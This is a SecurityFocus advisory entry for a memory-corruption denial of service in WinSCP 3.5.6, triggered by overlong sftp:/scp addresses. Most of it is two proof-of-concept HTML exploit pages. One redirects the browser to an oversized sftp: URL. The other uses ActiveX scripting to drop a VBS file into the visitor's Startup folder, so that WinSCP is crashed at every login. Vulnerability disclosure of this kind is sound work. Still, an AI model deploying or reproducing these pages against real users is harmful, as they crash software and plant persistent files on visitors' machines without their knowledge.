source: https://www.securityfocus.com/bid/10160/info
It has been reported that WinSCP may be prone to a denial of service condition resulting from memory corruption. This issue occurs when the application attempts to handle excessively long 'sftp:' or 'scp' addresses.
WinSCP 3.5.6 is reported to be vulnerable to this issue, however, it is possible that other versions are affected as well.
------ WinSCP_DoS1.html --------
<HTML>
<HEAD>
<TITLE>WinSCP DoS</TITLE>
<meta http-equiv="Refresh" content="0; URL=sftp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
</HEAD>
<BODY>
</BODY>
</HTML>
-------- WinSCP_DoS2.html -------
<html>
<head>
<title>WinSCP DoS</title>
<script language="JScript">
var WshShell = new ActiveXObject("WScript.Shell");
strSU = WshShell.SpecialFolders("StartUp");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var vibas = fso.CreateTextFile(strSU + "\\WinSCPDoS.vbs",true);
vibas.WriteLine("Dim shell");
vibas.WriteLine("Dim quote");
vibas.WriteLine("Dim DoS");
vibas.WriteLine("Dim param");
vibas.WriteLine("DoS = \"C:\\Programmi\\WinSCP3\\WinSCP3.exe\"");
vibas.WriteLine("param = \"scp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"");
vibas.WriteLine("set shell = WScript.CreateObject(\"WScript.Shell\")");
vibas.WriteLine("quote = Chr(34)");
vibas.WriteLine("pgm = \"explorer\"");
vibas.WriteLine("shell.Run quote & DoS & quote & \" \" & param");
vibas.Close();
</script>
</head>
</html>
